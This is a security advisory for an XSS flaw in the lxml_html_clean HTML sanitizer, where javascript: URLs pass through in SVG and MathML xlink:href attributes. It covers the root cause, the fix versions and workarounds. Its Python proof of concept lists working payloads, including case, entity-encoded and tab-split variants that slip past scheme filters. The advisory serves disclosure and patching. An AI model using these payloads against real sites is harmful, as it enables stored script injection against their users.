high · 8.2CVE-2026-49825Jul 8, 2026

CVE-2026-49825: lxml_html_clean javascript: XSS via xlink:href

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

lxml_html_clean's HTML sanitizer silently passes javascript: URLs through to the browser when they appear in SVG or MathML anchor tags using the xlink:href attribute, letting attackers store executabl

Packagelxml_html_clean
Ecosystempip
Affected< 0.4.5
Fixed in0.4.5

The problem

The `Cleaner` class filters dangerous URL schemes by walking links via `rewrite_links()`, which in turn calls `iterlinks()`. That function only yields attributes whose name appears in `lxml.html.defs.link_attrs`, a flat string set that never included the literal `xlink:href`.

As a result, any SVG or MathML anchor carrying `xlink:href="javascript:..."` is completely invisible to the URL-scheme filter. The condition is triggered only when the caller sets `safe_attrs_only=False`, a documented option for applications that want to allow custom or vendor attributes while still relying on scheme scrubbing.

Stored XSS is the direct impact: the payload survives sanitization and executes in the victim's browser when the rendered link is clicked.

Proof of concept

A working proof-of-concept for CVE-2026-49825 in lxml_html_clean, with the exact payload below.

python
from lxml import html
from lxml_html_clean import Cleaner

payloads = [
    '<svg><a xlink:href="javascript:alert(1)">x</a></svg>',
    '<math><a xlink:href="javascript:alert(2)">y</a></math>',
    # Encoding variants that also survive (same root cause)
    '<svg><a xlink:href="JaVaScRiPt:alert(3)">x</a></svg>',
    '<svg><a xlink:href="java&#x73;cript:alert(4)">x</a></svg>',
    '<svg><a xlink:href="java\tscript:alert(5)">x</a></svg>',
]

for p in payloads:
    tree = html.fromstring(p)
    Cleaner(safe_attrs_only=False)(tree)
    out = html.tostring(tree).decode()
    print(out)            # payload passes through unchanged
    print('iterlinks:', list(html.fromstring(p).iterlinks()))  # []

The root cause (CWE-184, Incomplete List of Disallowed Inputs) is a direct repeat of CVE-2021-28957, where `formaction` was missing from the same allow-list. Here, `xlink:href` is the missing entry: because `iterlinks()` never yields it, `_remove_javascript_link` is never called for it, and no scheme check runs.

The fix in lxml 6.1.1 added `xlink:href` to `lxml.html.defs.link_attrs`, making it visible to the link rewriter. The lxml_html_clean 0.4.5 release ships a parallel in-package fix that explicitly walks namespaced URL attributes inside `Cleaner.__call__` and deletes any whose value matches a dangerous scheme regex, decoupling the cleaner from the upstream allow-list entirely.

The fix

Upgrade to `lxml_html_clean >= 0.4.5` and `lxml >= 6.1.1`. Both packages received coordinated fixes. If you cannot upgrade immediately, avoid passing `safe_attrs_only=False` to `Cleaner`, or switch to `nh3` (confirmed not vulnerable to this primitive). Install: `pip install "lxml>=6.1.1" "lxml_html_clean>=0.4.5"`

Reported by Guillem Lefait.

References: [1][2]

Related research